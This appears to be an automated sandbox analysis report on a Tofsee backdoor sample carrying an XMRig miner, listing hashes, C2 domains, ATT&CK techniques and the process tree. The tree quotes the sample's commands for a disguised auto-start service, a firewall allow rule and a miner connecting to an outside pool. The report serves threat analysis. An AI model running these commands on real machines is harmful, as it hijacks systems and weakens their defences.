Overview

overview

10

Static

static

dridex

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    11-12-2021 10:32

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    c25a8bd40cd1a3b511c971e412a1e3bbcca6419b74c4cf243524c73a81f59600.exe

  • Size

    202KB

  • MD5

    01b9dc754ed0112ca8b5342acfc9f9b2

  • SHA1

    46a8e0f1583b26d5e2122a475a879bbb5457d45c

  • SHA256

    c25a8bd40cd1a3b511c971e412a1e3bbcca6419b74c4cf243524c73a81f59600

  • SHA512

    196b404efc9bd6050c0e1ea60feaffecb2275d5846730706f69d719641e3ac09ddf311566b6285c5ce01b54e3fe5bf6a2d827034275ed032e2a56f53d6a2322e

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

mubrikych.top

oxxyfix.xyz

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c25a8bd40cd1a3b511c971e412a1e3bbcca6419b74c4cf243524c73a81f59600.exe
    "C:\Users\Admin\AppData\Local\Temp\c25a8bd40cd1a3b511c971e412a1e3bbcca6419b74c4cf243524c73a81f59600.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2764
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mhgnehkf\
      2⤵
        PID:1864
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fkgrkmqv.exe" C:\Windows\SysWOW64\mhgnehkf\
        2⤵
          PID:3832
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mhgnehkf binPath= "C:\Windows\SysWOW64\mhgnehkf\fkgrkmqv.exe /d\"C:\Users\Admin\AppData\Local\Temp\c25a8bd40cd1a3b511c971e412a1e3bbcca6419b74c4cf243524c73a81f59600.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2136
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description mhgnehkf "wifi internet conection"
            2⤵
              PID:1160
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start mhgnehkf
              2⤵
                PID:1216
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:596
              • C:\Windows\SysWOW64\mhgnehkf\fkgrkmqv.exe
                C:\Windows\SysWOW64\mhgnehkf\fkgrkmqv.exe /d"C:\Users\Admin\AppData\Local\Temp\c25a8bd40cd1a3b511c971e412a1e3bbcca6419b74c4cf243524c73a81f59600.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2300
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:520
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:676

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              System Information Discovery

              1
              T1082

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\fkgrkmqv.exe
                MD5

                402e1c8c3721220eafd5b59e9eea1cea

                SHA1

                afca2bdc2e75e4dc1bfb1f8bef8cbdc6a9a9d336

                SHA256

                333a7342fa35c73556d4c1fd9f0f4837d31aa6f1661676707ca693933edbe03f

                SHA512

                265fe7f054322fd6a2b4b4d1416c2ac8a7d7d109d34dc9e3b4ee8c9f8b2a69bbd224729cb310fdb3eea3d3b01a934d7174894dc836c0df0da47979dc0e1ab803

                Download Submit
              • C:\Windows\SysWOW64\mhgnehkf\fkgrkmqv.exe
                MD5

                402e1c8c3721220eafd5b59e9eea1cea

                SHA1

                afca2bdc2e75e4dc1bfb1f8bef8cbdc6a9a9d336

                SHA256

                333a7342fa35c73556d4c1fd9f0f4837d31aa6f1661676707ca693933edbe03f

                SHA512

                265fe7f054322fd6a2b4b4d1416c2ac8a7d7d109d34dc9e3b4ee8c9f8b2a69bbd224729cb310fdb3eea3d3b01a934d7174894dc836c0df0da47979dc0e1ab803

                Download Submit
              • memory/520-131-0x00000000007B0000-0x00000000007C5000-memory.dmp
                Filesize

                84KB

                Download
              • memory/520-129-0x00000000006C0000-0x00000000006C1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/520-128-0x00000000006C0000-0x00000000006C1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/520-127-0x00000000007B9A6B-mapping.dmp
                Download
              • memory/520-126-0x00000000007B0000-0x00000000007C5000-memory.dmp
                Filesize

                84KB

                Download
              • memory/596-125-0x0000000000000000-mapping.dmp
                Download
              • memory/676-132-0x0000000000610000-0x0000000000701000-memory.dmp
                Filesize

                964KB

                Download
              • memory/676-136-0x00000000006A259C-mapping.dmp
                Download
              • memory/676-137-0x0000000000610000-0x0000000000701000-memory.dmp
                Filesize

                964KB

                Download
              • memory/1160-122-0x0000000000000000-mapping.dmp
                Download
              • memory/1216-123-0x0000000000000000-mapping.dmp
                Download
              • memory/1864-118-0x0000000000000000-mapping.dmp
                Download
              • memory/2136-121-0x0000000000000000-mapping.dmp
                Download
              • memory/2300-130-0x0000000000400000-0x0000000000824000-memory.dmp
                Filesize

                4.1MB

                Download
              • memory/2764-115-0x0000000000030000-0x000000000003D000-memory.dmp
                Filesize

                52KB

                Download
              • memory/2764-117-0x0000000000400000-0x0000000000824000-memory.dmp
                Filesize

                4.1MB

                Download
              • memory/2764-116-0x00000000001C0000-0x00000000001D3000-memory.dmp
                Filesize

                76KB

                Download
              • memory/3832-119-0x0000000000000000-mapping.dmp
                Download